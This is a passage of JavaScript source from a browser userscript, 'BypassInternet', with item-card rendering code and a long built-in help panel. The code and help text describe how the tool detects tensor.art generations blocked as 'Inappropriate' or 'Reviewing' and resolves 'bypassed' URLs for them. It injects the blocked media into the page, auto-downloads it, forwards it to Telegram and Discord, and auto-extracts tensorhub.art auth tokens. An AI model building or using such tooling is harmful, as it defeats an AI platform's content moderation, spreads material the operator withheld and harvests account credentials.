const meta = getItemMetaFromId(item.id);
return {
taskId: item.taskId || 'N/A',
createdAt: item.createdAt,
expiresAt: item.expiresAt,
mimeType: item.mimeType,
dimensions: item.width && item.height ? `${item.width} × ${item.height}px` : 'Unknown',
seed: item.seed || 'N/A',
downloadFileName: item.downloadFileName || 'N/A',
workflowName: meta?.workflowTemplateInfo?.name || meta?.workflowInfo?.name || 'N/A',
workflowId: meta?.workflowTemplateInfo?.workflowTemplateId || meta?.workflowInfo?.workflowId || 'N/A',
templateInfo: meta?.workflowTemplateInfo || meta?.workflowInfo || {},
...taskData
};
};
const buildTaskInfoFields = () => {
metadataContent.innerHTML = '';
const info = getTaskInfo();
const addField = (icon, label, value, highlight = false) => {
if (!value || value === 'N/A') return;
const field = document.createElement('div');
field.innerHTML = `<i class="fas fa-${icon}" style="margin-right: 6px; opacity: 0.7; width: 12px;"></i><strong>${label}:</strong> <span style="color: ${highlight ? '#10b981' : '#cbd5e1'}; word-break: break-word; ${highlight ? 'font-weight: 600;' : ''}">${escapeHtml(String(value))}</span>`;
metadataContent.appendChild(field);
};
// Always show account owner so users know which account the item belongs to
const ownerName = getTaskOwnerName(info.taskId);
if (ownerName) {
addField('user', 'Account Owner', ownerName, true);
}
addField('fingerprint', 'Task ID', info.taskId);
addField('calendar-plus', 'Created', info.createdAt ? new Date(normalizeTimestamp(info.createdAt)).toLocaleString() : 'Unknown');
addField('clock', 'Expires', info.expiresAt ? new Date(normalizeTimestamp(info.expiresAt)).toLocaleString() : 'Unknown');
addField('image', 'Type', info.mimeType);
addField('expand', 'Dimensions', info.dimensions);
addField('dice', 'Seed', info.seed);
addField('file', 'Filename', info.downloadFileName);
addField('tools', 'Workflow', info.workflowName);
addField('id-card', 'Workflow ID', info.workflowId);
if (metadataContent.children.length === 0) {
const noData = document.createElement('div');
noData.style.cssText = 'color: #94a3b8; font-style: italic;';
noData.textContent = 'No additional task info available';
metadataContent.appendChild(noData);
}
};
buildTaskInfoFields();
let isExpanded = false;
metadataToggle.onclick = (e) => {
e.stopPropagation();
isExpanded = !isExpanded;
metadataContent.style.display = isExpanded ? 'flex' : 'none';
metadataToggle.innerHTML = `<span style="font-size: 11px; font-weight: 600; color: #cbd5e1;"><i class="fas fa-chevron-${isExpanded ? 'up' : 'down'}"></i> Task Info</span>`;
};
metadata.appendChild(metadataToggle);
metadata.appendChild(metadataContent);
card.appendChild(metadata);
if (settings.showBypassedLink) {
const linkRow = document.createElement('div');
linkRow.style.cssText = 'display:flex; flex-direction:column; gap:4px; padding:8px; background: rgba(15, 23, 42, 0.35); border-radius: 6px; font-size: 11px;';
const title = document.createElement('div');
title.innerHTML = '<i class="fas fa-link" style="margin-right:6px;opacity:0.7;"></i><strong>Bypassed URL</strong>';
const value = document.createElement('div');
value.style.cssText = "overflow:hidden;text-overflow:ellipsis;white-space:nowrap;font-family:'Courier New', monospace;font-size:11px;background:rgba(15,23,42,0.45);padding:6px;border-radius:6px;word-break:break-all;";
value.textContent = 'Resolving...';
linkRow.appendChild(title);
linkRow.appendChild(value);
card.appendChild(linkRow);
(async () => {
const url = await getPreviewUrlForItem(item);
value.innerHTML = url
? `<a href="${escapeHtml(url)}" target="_blank" rel="noopener noreferrer" style="color:#93c5fd;">${escapeHtml(url)}</a>`
: 'Unavailable';
})().catch(() => {
value.textContent = 'Unavailable';
});
}
const statusIcons = renderStatusIcons(item.id);
if (statusIcons) {
const statusRow = document.createElement('div');
statusRow.style.cssText = 'display: flex; gap: 8px; align-items: center; font-size: 12px; color: #94a3b8;';
statusRow.setAttribute('data-bypass-item-status', item.id);
statusRow.innerHTML = `<span style="font-weight: 600;">Status:</span> ${statusIcons}`;
card.appendChild(statusRow);
}
const isVideoItem = item.type === 'Video' || item.mimeType?.startsWith('video/');
const allowPreview = options.allowPreview !== false;
if (settings.preview && allowPreview) {
const mediaWrap = document.createElement('div');
mediaWrap.style.cssText = 'width: 100%; height: auto; max-height: 300px; border-radius: 10px; overflow: hidden; border: 1px solid rgba(148, 163, 184, 0.25); background: rgba(15, 23, 42, 0.45); display:flex; align-items:center; justify-content:center;';
card.appendChild(mediaWrap);
const loadCardPreview = async (force = false) => {
const url = await getPreviewUrlForItem(item);
if (!url) {
mediaWrap.innerHTML = '<div class="bypass-item-loading"><i class="fas fa-triangle-exclamation"></i> Preview unavailable</div>';
return;
}
mediaWrap.innerHTML = '';
if (isVideoItem) {
const video = document.createElement('video');
video.controls = true;
video.muted = false;
video.playsInline = true;
video.preload = 'metadata';
video.style.cssText = 'width: 100%; height: auto; max-height: 300px; object-fit: contain; cursor: pointer;';
video.onerror = () => {
mediaWrap.innerHTML = '<div style="width:100%;height:100%;display:flex;align-items:center;justify-content:center;color:#cbd5e1;"><i class="fas fa-video"></i></div>';
};
video.src = url;
video.load();
mediaWrap.appendChild(video);
return;
}
const img = document.createElement('img');
img.className = 'bypass-item-preview';
img.src = url;
img.style.cssText = 'width: 100%; height: auto; max-height: 300px; object-fit: contain;';
img.onerror = () => {
mediaWrap.innerHTML = '<div style="width:100%;height:100%;display:flex;align-items:center;justify-content:center;color:#cbd5e1;"><i class="fas fa-image"></i></div>';
};
mediaWrap.appendChild(img);
};
registerForcePreviewLoader(item.id, loadCardPreview);
loadCardPreview(false).catch(() => {
mediaWrap.innerHTML = '<div class="bypass-item-loading"><i class="fas fa-triangle-exclamation"></i> Preview unavailable</div>';
});
} else if (settings.preview && isVideoItem) {
const deferred = document.createElement('div');
deferred.className = 'bypass-item-loading';
deferred.innerHTML = '<i class="fas fa-video"></i> Video preview deferred';
card.appendChild(deferred);
}
// Action buttons container
const buttonsContainer = document.createElement('div');
buttonsContainer.className = 'bypass-item-buttons';
const downloadBtn = document.createElement('button');
downloadBtn.className = 'bypass-item-button bypass-item-button-download';
downloadBtn.innerHTML = '<i class="fas fa-download"></i> Download';
downloadBtn.onclick = async () => {
try {
await downloadMediaById(item.id, item.mimeType);
} catch (err) {
updateMediaStatus(item.id, { downloadError: true, lastError: err.message || 'Download failed' });
alert(`Error: ${err.message}`);
}
};
buttonsContainer.appendChild(downloadBtn);
if (settings.telegramEnabled && settings.telegramChatId) {
const telegramBtn = document.createElement('button');
telegramBtn.className = 'bypass-item-button bypass-item-button-telegram';
telegramBtn.title = 'Send to Telegram';
telegramBtn.innerHTML = '<i class="fab fa-telegram"></i> Send';
telegramBtn.onclick = async () => {
try {
const meta = getItemMetaFromId(item.id) || {};
const url = await ensureDownloadUrl(item.id, item.mimeType || meta.mimeType || '');
if (url) {
const result = await sendToTelegram(url, item.mimeType, item.taskId, item.createdAt, `${item.width}x${item.height}`, item.id, {
workspaceType: meta.workspaceType,
templateName: meta.workflowTemplateInfo?.name || meta.workflowInfo?.name || '',
templateId: meta.workflowTemplateInfo?.workflowTemplateId || meta.workflowInfo?.workflowId || ''
});
if (result?.ok) {
alert(result.mode === 'url' ? 'URL sent to Telegram.' : 'Sent to Telegram.');
} else {
updateMediaStatus(item.id, { telegramError: true, lastError: result?.error || 'Telegram send failed' });
alert(`Failed to send: ${result?.error || 'Unknown error'}`);
}
}
} catch (err) {
alert(`Error: ${err.message}`);
}
};
buttonsContainer.appendChild(telegramBtn);
}
if (settings.discordEnabled && settings.discordWebhook) {
const discordBtn = document.createElement('button');
discordBtn.className = 'bypass-item-button bypass-item-button-telegram';
discordBtn.title = 'Send to Discord';
discordBtn.innerHTML = '<i class="fab fa-discord"></i> Send';
discordBtn.onclick = async () => {
try {
const meta = getItemMetaFromId(item.id) || {};
const url = await ensureDownloadUrl(item.id, item.mimeType || meta.mimeType || '');
if (url) {
const result = await sendToDiscord(url, item.mimeType, item.taskId, item.createdAt, `${item.width}x${item.height}`, item.id, {
workspaceType: meta.workspaceType,
templateName: meta.workflowTemplateInfo?.name || meta.workflowInfo?.name || '',
templateId: meta.workflowTemplateInfo?.workflowTemplateId || meta.workflowInfo?.workflowId || ''
});
if (result?.ok) {
alert(result.mode === 'url' ? 'URL sent to Discord.' : 'Sent to Discord.');
} else {
updateMediaStatus(item.id, { discordError: true, lastError: result?.error || 'Discord send failed' });
alert(`Failed to send: ${result?.error || 'Unknown error'}`);
}
}
} catch (err) {
alert(`Error: ${err.message}`);
}
};
buttonsContainer.appendChild(discordBtn);
}
if (settings.sharedNetworkEnabled) {
const sharedBtn = document.createElement('button');
sharedBtn.className = 'bypass-item-button bypass-item-button-download';
sharedBtn.title = 'Send to Shared Network';
sharedBtn.innerHTML = '<i class="fas fa-network-wired"></i> Share';
sharedBtn.onclick = async () => {
try {
if (!sharedNetIsConfigured()) {
showToast('Shared Network is disabled or not configured', 'warning');
return;
}
showToast('Sending to Shared Network…', 'info');
await sharedNetSendItemsNow([item], 'item-card');
} catch (err) {
showToast(`Shared Network send failed: ${err.message}`, 'error');
}
};
buttonsContainer.appendChild(sharedBtn);
}
card.appendChild(buttonsContainer);
card.addEventListener('click', (e) => {
if (e.target.closest('button')) return;
if (selectedItems.size === 0) {
(async () => {
const url = await getPreviewUrlForItem(item);
if (!url) return;
openImageModal(url, item.taskId, item.createdAt, item.expiresAt, [], item.id, item.mimeType);
})();
return;
}
toggleItemSelected(item.id);
refreshSelectionUI();
});
card.addEventListener('contextmenu', (e) => {
e.preventDefault();
showItemContextMenu(e.clientX, e.clientY, item);
});
return card;
}
function createHelpContent() {
const helpContainer = document.createElement('div');
helpContainer.style.cssText = `
display: flex;
flex-direction: column;
gap: 0;
padding: 0;
overflow-y: auto;
height: 100%;
`;
// Search bar at the top (sticky)
const searchContainer = document.createElement('div');
searchContainer.style.cssText = `
position: sticky;
top: 0;
z-index: 10;
background: ${settings.theme === 'dark' ? '#0f172a' : '#ffffff'};
padding: 12px;
border-bottom: 1px solid ${settings.theme === 'dark' ? '#475569' : '#cbd5e1'};
`;
const searchInput = document.createElement('input');
searchInput.type = 'text';
searchInput.placeholder = 'Search help topics, features, settings...';
searchInput.style.cssText = `
width: 100%;
padding: 10px 12px;
border: 1px solid ${settings.theme === 'dark' ? '#475569' : '#cbd5e1'};
border-radius: 8px;
background: ${settings.theme === 'dark' ? '#1e293b' : '#f8fafc'};
color: ${settings.theme === 'dark' ? '#e2e8f0' : '#0f172a'};
font-size: 13px;
outline: none;
transition: all 0.3s;
`;
searchInput.onfocus = () => {
searchInput.style.borderColor = '#6366f1';
searchInput.style.boxShadow = '0 0 0 3px rgba(99, 102, 241, 0.1)';
};
searchInput.onblur = () => {
searchInput.style.borderColor = settings.theme === 'dark' ? '#475569' : '#cbd5e1';
searchInput.style.boxShadow = 'none';
};
searchContainer.appendChild(searchInput);
helpContainer.appendChild(searchContainer);
// Content area
const contentArea = document.createElement('div');
contentArea.style.cssText = 'padding: 12px; display: flex; flex-direction: column; gap: 16px;';
const helpSections = [
{
title: 'Getting Started',
icon: 'fa-compass',
description: `<p><strong>BypassInternet</strong> watches tensor.art responses and finds blocked items automatically. Use the <strong>Bypass</strong> floating button to open the panel.</p>
<ul>
<li>Use <strong>Items</strong> to view, download, and manage blocked content.</li>
<li>Use <strong>Settings</strong> for quick toggles.</li>
<li>Use <strong>Help</strong> for detailed tips and troubleshooting.</li>
</ul>`
},
{
title: 'Auto-Check for Items',
icon: 'fa-refresh',
description: `<p>This feature automatically monitors tensor.art for new restricted content at regular intervals.</p>
<p><strong>Enabled:</strong> The tool checks every N seconds (see Check Interval). New blocked items are detected without manual action.</p>
<p><strong>Disabled:</strong> Items are detected only when you load or refresh pages manually.</p>
<p><strong>Impact:</strong> More frequent checks increase background requests. Use longer intervals if you want lower resource usage.</p>`
},
{
title: 'Check Interval (Seconds)',
icon: 'fa-clock',
description: `<p>Controls how often Auto-Check runs (5–300 seconds).</p>
<p><strong>Lower values:</strong> Faster detection but more network usage.</p>
<p><strong>Higher values:</strong> Slower detection but lighter on device/network.</p>
<p><strong>Tip:</strong> 30–60 seconds is a good balance for most users.</p>`
},
{
title: 'Preview Media',
icon: 'fa-eye',
description: `<p>Shows thumbnails or previews in the Items list.</p>
<p><strong>Enabled:</strong> You can see images/videos directly in the list (more data usage).</p>
<p><strong>Disabled:</strong> Faster list loading; thumbnails only appear when opened.</p>`
},
{
title: 'Auto-Download on Detect',
icon: 'fa-download',
description: `<p>Automatically downloads blocked items when detected.</p>
<p><strong>Enabled:</strong> Hands‑free downloads; useful for batch discovery.</p>
<p><strong>Disabled:</strong> Manual control; you choose what to download.</p>`
},
{
title: 'Auto-Expand on New Items',
icon: 'fa-expand',
description: `<p>Opens the floating window automatically when new blocked content is found.</p>
<p><strong>Enabled:</strong> You see new items immediately.</p>
<p><strong>Disabled:</strong> The panel stays hidden until you click it.</p>`
},
{
title: 'Inject On DOM',
icon: 'fa-code',
description: `<p>Continuously scans the page DOM for blocked items and injects bypass content.</p>
<p><strong>Enabled:</strong> Works even as new items render on the page.</p>
<p><strong>Disabled:</strong> Only processes during API response updates.</p>
<p><strong>Tip:</strong> Enable if you want live page replacement of blocked previews.</p>`
},
{
title: 'Inject Scope (Blocked or All)',
icon: 'fa-filter',
description: `<p>Choose whether Inject On DOM should run only on blocked covers or on all eligible task cards.</p>
<p><strong>Inject On Blocked Only = ON:</strong> Only cards showing <em>Inappropriate/Reviewing</em> cover are injected.</p>
<p><strong>Inject On Blocked Only = OFF:</strong> Keeps current all-task inject behavior.</p>
<p><strong>Always:</strong> “View - Bypass” button is hidden for tasks that do not have an Inappropriate cover.</p>`
},
{
title: 'Tooltip & Help Overlays',
icon: 'fa-comment-dots',
description: `<p>Control how tooltips behave on injected items.</p>
<p><strong>Show Blocked Media Tooltip:</strong> Adds metadata tooltips on injected blocked slots (not in the floating window).</p>
<p><strong>Keep Last Tooltip Open:</strong> Pins the last tooltip until you scroll or hover another item.</p>
<p><strong>View Media on Tooltip:</strong> Shows a small image/video preview in the tooltip.</p>
<p><strong>Injected Buttons Help Tooltip:</strong> Explains injected buttons like “Send All tasks”.</p>`
},
{
title: 'Download Preview',
icon: 'fa-image',
description: `<p>Shows the current download in the queue with a live preview and progress indicator.</p>
<p><strong>Enabled:</strong> Displays preview in the header progress bar and in the Download/Sent tab.</p>
<p><strong>Tip:</strong> Great for monitoring long batch downloads.</p>`
},
{
title: 'Telegram Delay',
icon: 'fa-stopwatch',
description: `<p>Add a delay between Telegram sends to avoid rate limits.</p>
<p><strong>Usage:</strong> Set delay in seconds (e.g., 1–3s) for heavy batches.</p>`
},
{
title: 'Auto-Detect Blocked Tasks',
icon: 'fa-magic',
description: `<p>NEW: Monitors workflow task creation and automatically adds blocked content when generation completes.</p>
<p><strong>Enabled:</strong> No page refresh needed! Blocked items appear instantly after generation.</p>
<p><strong>Disabled:</strong> Manual detection only through API interception.</p>
<p><strong>Tip:</strong> Keep enabled for seamless workflow experience.</p>`
},
{
title: 'Telegram Integration',
icon: 'fa-telegram',
description: `<p>Send bypassed media directly to your Telegram chat.</p>
<p><strong>Setup:</strong> Enter Bot Token and Chat ID in tensor.art/settings.</p>
<p><strong>Features:</strong> Batch sending, retry failed items, customizable metadata captions.</p>
<p><strong>Tip:</strong> Use "Send only blocked items" toggle for filtered sending.</p>`
},
{
title: 'Discord Webhooks',
icon: 'fa-discord',
description: `<p>NEW: Post bypassed media to Discord channels via webhooks.</p>
<p><strong>Setup:</strong> Create a webhook in Discord Server Settings → Integrations, paste URL in settings.</p>
<p><strong>Features:</strong> Rich embeds with task metadata, automatic file uploads.</p>
<p><strong>Tip:</strong> Perfect for archiving or sharing with team.</p>`
},
{
title: 'Enable URL Caching',
icon: 'fa-database',
description: `<p>Stores download URLs locally to speed up repeated access.</p>
<p><strong>Enabled:</strong> Faster repeat downloads, fewer network calls.</p>
<p><strong>Disabled:</strong> Always fetch fresh URLs from the server.</p>
<p><strong>Tip:</strong> Keep enabled unless you need maximum freshness.</p>`
},
{
title: 'Cache Duration (Days)',
icon: 'fa-hourglass',
description: `<p>Controls how long cached URLs remain valid (1–30 days).</p>
<p><strong>Shorter:</strong> Fresher links, more requests.</p>
<p><strong>Longer:</strong> Fewer requests, slightly higher chance of stale links.</p>
<p><strong>Default:</strong> 7 days is a good balance.</p>`
},
{
title: 'Theme',
icon: 'fa-paint-brush',
description: `<p>Switch between dark and light themes for the floating UI.</p>
<p><strong>Dark:</strong> Comfortable at night; slightly better on OLED battery.</p>
<p><strong>Light:</strong> Better in bright environments.</p>`
},
{
title: 'If Items Keep Loading',
icon: 'fa-life-ring',
description: `<p>If the Items tab keeps showing “waiting”, try this:</p>
<ol>
<li>Click <strong>Create</strong> in the site header.</li>
<li>On the creation page, click the <strong>Reload</strong> icon.</li>
<li>This triggers the API request the tool listens to.</li>
</ol>
<p>If still empty after 15 seconds, use <strong>Load from Cache</strong> (only works when caching is enabled).</p>`
},
{
title: 'TensorHub Linker (NEW)',
icon: 'fa-link',
description: `<p><strong>What it is:</strong> Connect tensor.art and tensorhub.art to sync tasks and bypass content across both platforms.</p>
<p><strong>How to enable:</strong></p>
<ol>
<li>Open floating panel → <strong>Settings</strong> tab</li>
<li>Find <strong>"TensorHub Integration"</strong> section (collapsed)</li>
<li>Check <strong>"Enable TensorHub Linker"</strong></li>
</ol>
<p><strong>Options when enabled:</strong></p>
<ul>
<li><i class="fas fa-check-square"></i> <strong>Link User Tokens:</strong> Auto-extract tensorhub.art authentication</li>
<li><i class="fas fa-check-square"></i> <strong>Link Tasks (Manual):</strong> Visit tensorhub.art, create content, reload to save tasks</li>
<li><i class="fas fa-check-square"></i> <strong>Run on TensorHub Domain:</strong> Enable full floating panel + injections on tensorhub.art</li>
</ul>
<p><strong>How it works:</strong> Script monitors both domains' API responses, tags tasks with their source (tensor.art/tensorhub.art) automatically.</p>
<p><strong>Pro Tip:</strong> All synced tasks appear in <strong>Data Control</strong> tab with searchable metadata!</p>`
},
{
title: 'Data Control Tab (NEW)',
icon: 'fa-chart-bar',
description: `<p><strong>What it is:</strong> Complete cache & task management hub with search, filtering, and multi-state deletion.</p>
<p><strong>How to access:</strong> Floating panel → <strong>"Data Control"</strong> tab</p>
<p><strong>Features at a glance:</strong></p>
<ul>
<li><i class="fas fa-chart-line"></i> <strong>Cache Statistics:</strong> Total tasks/items, image/video breakdown</li>
<li><i class="fas fa-search"></i> <strong>Advanced Search:</strong> By Task ID, Tool Name, Expiry Date, Type, Source</li>
<li><i class="fas fa-filter"></i> <strong>Smart Filters:</strong> Click buttons to narrow down results</li>
<li><i class="fas fa-circle-check"></i> <strong>Status Indicators:</strong> Active (green) | Hidden (yellow) | Permanent (red)</li>
<li>🎛️ <strong>Bulk Controls:</strong> Clear All, Refresh, Restore, Recover items</li>
</ul>
<p><strong>Search Examples:</strong></p>
<ul>
<li>Task ID: "123456789"</li>
<li>Tool name: "flux"</li>
<li>Expiry: "2026-02" or "Feb"</li>
<li>Type: "image" or "video"</li>
<li>Source: "tensorhub"</li>
</ul>`
},
{
title: '3-Mode Cache Deletion (NEW)',
icon: 'fa-trash-can',
description: `<p><strong>What it is:</strong> Flexible deletion with 3 modes for different use cases.</p>
<p><strong>How to access:</strong> Right-click item → <strong>"Delete from Cache"</strong> OR use Data Control tab</p>
<p><strong>Deletion Modes:</strong></p>
<ul>
<li><strong><i class="fas fa-circle" style="color:#ef4444"></i> Delete (Permanent):</strong> Remove completely. Won't auto-cache even if item reappears. Perfect for unwanted content.</li>
<li><strong><i class="fas fa-circle" style="color:#f59e0b"></i> Delete (Regainable):</strong> Remove from view. Auto-recovers on reload if still available. Great for temporary cleanup.</li>
<li><strong><i class="fas fa-eye-slash"></i> Hide:</strong> Keep in cache but hide from UI. Useful for archival without deletion.</li>
</ul>
<p><strong>Recovery:</strong></p>
<ul>
<li>Hidden items: Data Control → Hidden Items section → "Restore" button</li>
<li>Permanent items: Data Control → Permanently Deleted Items section → "Recover" button</li>
</ul>
<p><strong>Pro Tips:</strong></p>
<ul>
<li>Use Permanent for spam/unwanted content</li>
<li>Use Regainable for routine cleanup</li>
<li>Use Hide for important items you want archived</li>
</ul>`
},
{
title: 'Task Source Tracking (NEW)',
icon: 'fa-tag',
description: `<p><strong>What it is:</strong> Automatic origin tagging (tensor.art or tensorhub.art) for all tasks.</p>
<p><strong>How it works:</strong> Every task is labeled with its source domain when recorded. Shows platform origin clearly.</p>
<p><strong>Where to see source:</strong></p>
<ul>
<li><strong>Item Modal:</strong> Task Info section shows "Source: [domain]" with link</li>
<li><strong>Data Control Search:</strong> Filter by "Source" to show one platform</li>
<li><strong>Accounts Tab:</strong> Breakdown of tasks by source for each account</li>
</ul>
<p><strong>Color Coding:</strong></p>
<ul>
<li><i class="fas fa-palette"></i> <strong>tensor.art:</strong> Blue (#93c5fd)</li>
<li><i class="fas fa-link"></i> <strong>tensorhub.art:</strong> Purple (#a78bfa)</li>
</ul>
<p><strong>Why it matters:</strong> Organize multi-platform workflows, track which platform generated which content!</p>`
},
{
title: 'Advanced Search Engine (NEW)',
icon: 'fa-magnifying-glass',
description: `<p><strong>What it is:</strong> Fast full-text search across all cached tasks and items.</p>
<p><strong>How to use:</strong></p>
<ol>
<li>Open <strong>Data Control</strong> tab</li>
<li>Type any search term in the search box</li>
<li>Results update instantly as you type</li>
</ol>
<p><strong>Search Filter Buttons:</strong></p>
<ul>
<li><i class="fas fa-tag"></i> <strong>Task ID:</strong> Search by unique task identifier</li>
<li><i class="fas fa-wrench"></i> <strong>Tool Name:</strong> Find by workflow/template name</li>
<li><i class="fas fa-calendar"></i> <strong>Expiry:</strong> Filter by expiration date</li>
<li><i class="fas fa-image"></i> <strong>Type:</strong> Image or Video media type</li>
<li><i class="fas fa-link"></i> <strong>Source:</strong> tensor.art or tensorhub.art</li>
<li><i class="fas fa-search"></i> <strong>All Fields:</strong> Search everything at once (default)</li>
</ul>
<p><strong>Results Show:</strong></p>
<ul>
<li>Task results: ID, Tool, Created/Expiry, Source</li>
<li>Item results: ID, Parent Task, Type, Expiry, Status badge</li>
</ul>
<p><strong>Quick Tips:</strong></p>
<ul>
<li>Click filter buttons to toggle ON/OFF</li>
<li>Combine multiple filters for precise results</li>
<li>Partial matches work (e.g., "flux" finds "Flux-1.0")</li>
</ul>`
},
{
title: 'Settings Tab (ENHANCED)',
icon: 'fa-sliders',
description: `<p><strong>What changed:</strong> Added quick-access TensorHub settings in floating window Settings tab.</p>
<p><strong>Settings in Floating Window:</strong></p>
<ul>
<li>Preview Media, Auto-Download, Auto-Show Panel</li>
<li>Auto-Detect Blocked Tasks (auto-add on generation complete)</li>
<li>Force Tasks Across Accounts</li>
<li><strong><i class="fas fa-link"></i> TensorHub Integration (NEW collapsible section)</strong></li>
</ul>
<p><strong>Collapsible Sections:</strong></p>
<ul>
<li><strong>Injection Method:</strong> Safe View vs Inject On DOM</li>
<li><strong>UI Settings:</strong> Theme, tooltips, modal options</li>
<li><strong>Task Actions:</strong> Telegram, Discord, Download toggles</li>
<li><strong>TensorHub Integration:</strong> All tensorhub-specific options</li>
</ul>
<p><strong>Advanced Settings:</strong> For headers, detailed tokens, visit <strong>tensor.art/settings</strong> page</p>
<p><strong>Note:</strong> All settings sync with tensor.art/settings automatically!</p>`
},
{
title: 'Direct Bypass Links on Cards (NEW)',
icon: 'fa-download',
description: `<p><strong>What it is:</strong> Bypass URLs automatically injected into task Download cards.</p>
<p><strong>Where to find it:</strong> Task creation pages in the <strong>Download</strong> section</p>
<p><strong>What you'll see:</strong></p>
<ul>
<li><i class="fas fa-note-sticky"></i> Full bypass URL (truncated with ellipsis)</li>
<li><i class="fas fa-up-right-from-square"></i> <strong>Open Button:</strong> Opens URL in new tab</li>
<li><i class="fas fa-copy"></i> <strong>Copy Button:</strong> Copies full URL to clipboard</li>
</ul>
<p><strong>When it appears:</strong> Automatically when tool detects blocked content bypass available</p>
<p><strong>Perfect for:</strong></p>
<ul>
<li>1-click media access without opening floating window</li>
<li>Quick sharing with teammates</li>
<li>Direct integration with external tools</li>
<li>Fast downloads without UI overhead</li>
</ul>
<p><strong>Pro Tip:</strong> Hover to see full URL, click to open/copy instantly!</p>`
}
];
// Categories for organization
const categories = {
'Getting Started': ['Getting Started'],
'Core Features': ['Auto-Check for Items', 'Check Interval (Seconds)', 'Preview Media', 'Auto-Download on Detect', 'Auto-Expand on New Items', 'Inject On DOM', 'Inject Scope (Blocked or All)', 'Auto-Detect Blocked Tasks'],
'Integration': ['Telegram Integration', 'Discord Webhooks', 'TensorHub Linker (NEW)'],
'UI & Display': ['Tooltip & Help Overlays', 'Download Preview', 'Theme', 'Settings Tab (ENHANCED)'],
'Cache Management': ['Enable URL Caching', 'Cache Duration (Days)', 'Data Control Tab (NEW)', '3-Mode Cache Deletion (NEW)', 'Advanced Search Engine (NEW)'],
'Advanced': ['Telegram Delay', 'Task Source Tracking (NEW)', 'Direct Bypass Links on Cards (NEW)'],
'Troubleshooting': ['If Items Keep Loading']
};
const generalInfo = document.createElement('div');
generalInfo.style.cssText = `
background: rgba(99, 102, 241, 0.1);
border: 1px solid rgba(99, 102, 241, 0.3);
border-radius: 8px;
padding: 12px;
margin-bottom: 12px;
font-size: 12px;
line-height: 1.6;
`;
generalInfo.innerHTML = `
<strong style="color: #6366f1; display: block; margin-bottom: 8px;"><i class="fas fa-clipboard-list"></i> General Information & Tips</strong>
<div>
<p>BypassInternet runs entirely in your browser. Settings are stored locally and never sent anywhere.</p>
<p>For advanced controls (headers, Telegram, tokens), use <strong>tensor.art/settings</strong>.</p>
<p>Tip: Keep the floating window closed when not needed to reduce visual clutter.</p>
</div>
`;
contentArea.appendChild(generalInfo);
// Create section elements with categories
const sectionElements = {};
Object.entries(categories).forEach(([category, titles]) => {
const categoryHeader = document.createElement('div');
categoryHeader.className = 'help-category';
categoryHeader.style.cssText = `
font-size: 14px;
font-weight: 700;
color: #6366f1;
margin-top: 20px;
margin-bottom: 12px;
padding-bottom: 8px;
border-bottom: 2px solid rgba(99, 102, 241, 0.3);
`;
categoryHeader.textContent = category;
contentArea.appendChild(categoryHeader);
titles.forEach(title => {
const section = helpSections.find(s => s.title === title);
if (!section) return;
const sectionDiv = document.createElement('div');
sectionDiv.className = 'help-section';
sectionDiv.setAttribute('data-section-title', section.title.toLowerCase());
sectionDiv.setAttribute('data-section-desc', section.description.toLowerCase());
sectionDiv.style.cssText = `
background: ${settings.theme === 'dark' ? 'rgba(255,255,255,0.03)' : 'rgba(0,0,0,0.02)'};
border: 1px solid ${settings.theme === 'dark' ? '#475569' : '#cbd5e1'};
border-radius: 8px;
padding: 12px;
margin-bottom: 12px;
transition: all 0.3s;
`;
const titleDiv = document.createElement('div');
titleDiv.style.cssText = `
font-weight: 600;
color: #6366f1;
margin-bottom: 8px;
display: flex;
align-items: center;
gap: 8px;
`;
titleDiv.innerHTML = `<i class="fas ${section.icon}"></i> ${section.title}`;
const descDiv = document.createElement('div');
descDiv.style.cssText = `
font-size: 12px;
line-height: 1.7;
color: ${settings.theme === 'dark' ? '#cbd5e1' : '#475569'};
white-space: pre-wrap;
word-break: break-word;
`;
descDiv.innerHTML = section.description;
sectionDiv.appendChild(titleDiv);
sectionDiv.appendChild(descDiv);
contentArea.appendChild(sectionDiv);
sectionElements[section.title] = { element: sectionDiv, category: categoryHeader };
});
});
// Search functionality
searchInput.oninput = (e) => {
const query = e.target.value.toLowerCase().trim();
if (!query) {
// Show all sections and categories
Object.values(sectionElements).forEach(({ element, category }) => {
element.style.display = 'block';
category.style.display = 'block';
});
return;
}
// Hide all categories first
document.querySelectorAll('.help-category').forEach(cat => cat.style.display = 'none');
// Filter sections
let matchCount = 0;
Object.values(sectionElements).forEach(({ element, category }) => {
const title = element.getAttribute('data-section-title');
const desc = element.getAttribute('data-section-desc');
if (title.includes(query) || desc.includes(query)) {
element.style.display = 'block';
element.style.background = settings.theme === 'dark' ? 'rgba(99, 102, 241, 0.15)' : 'rgba(99, 102, 241, 0.08)';
category.style.display = 'block';
matchCount++;
} else {
element.style.display = 'none';
}
});
// Show "no results" message
const existingNoResults = contentArea.querySelector('.no-results');
if (existingNoResults) existingNoResults.remove();
if (matchCount === 0) {
const noResults = document.createElement('div');
noResults.className = 'no-results';
noResults.style.cssText = `
text-align: center;
padding: 40px 20px;
color: #94a3b8;
font-size: 14px;
`;
noResults.innerHTML = `
<i class="fas fa-search" style="font-size: 48px; margin-bottom: 16px; opacity: 0.5;"></i>
<p>No help topics found for "<strong>${e.target.value}</strong>"</p>
<p style="font-size: 12px;">Try different keywords or browse all topics</p>
`;
contentArea.appendChild(noResults);
}
};
helpContainer.appendChild(contentArea);
return helpContainer;
}
// Default HTML selectors used for injection
const defaultSelectors = {
blockedShell: 'div.w-full.h-full.flex-c-c.bg-fill-default.border',
blockedOverlays: 'div.cursor-not-allowed, div.flex-c-c.bg-fill-default, div.absolute, span.absolute',
mediaSlots: 'div.rd-8.overflow-hidden',
dropdownMenu: '.n-dropdown-menu',
taskDetailsBlock: 'div.space-y-4.px-12.py-8.rd-8.bg-fill-default',
mediaContainer: 'div.grid.gap-8',
thumbnailContainer: '.thumbnail-image, div.relative, .rd-8',
forbiddenImages: 'img[src*=\"forbidden.jpg\"], img[srcset*=\"forbidden.jpg\"], img[src*=\"reviewing.png\"], img[srcset*=\"reviewing.png\"]',
taskCard: '[data-bypass-task-id]',
blockedLabel: 'p.text-14.lh-20.fw-500'
};
// Load custom selectors from settings or use defaults
function getSelectors() {
const custom = settings.customSelectors || {};
return { ...defaultSelectors, ...custom };
}
function saveCustomSelectors(selectors) {
settings.customSelectors = selectors;
saveSettings();
}
function resetSelector(key) {
if (settings.customSelectors && settings.customSelectors[key]) {
delete settings.customSelectors[key];
saveSettings();
}
}
function createDevelopersSelectorsContent() {
const devsContainer = document.createElement('div');
devsContainer.style.cssText = `
display: flex;
flex-direction: column;
gap: 16px;
padding: 12px;
overflow-y: auto;
height: 100%;
`;
// Warning banner
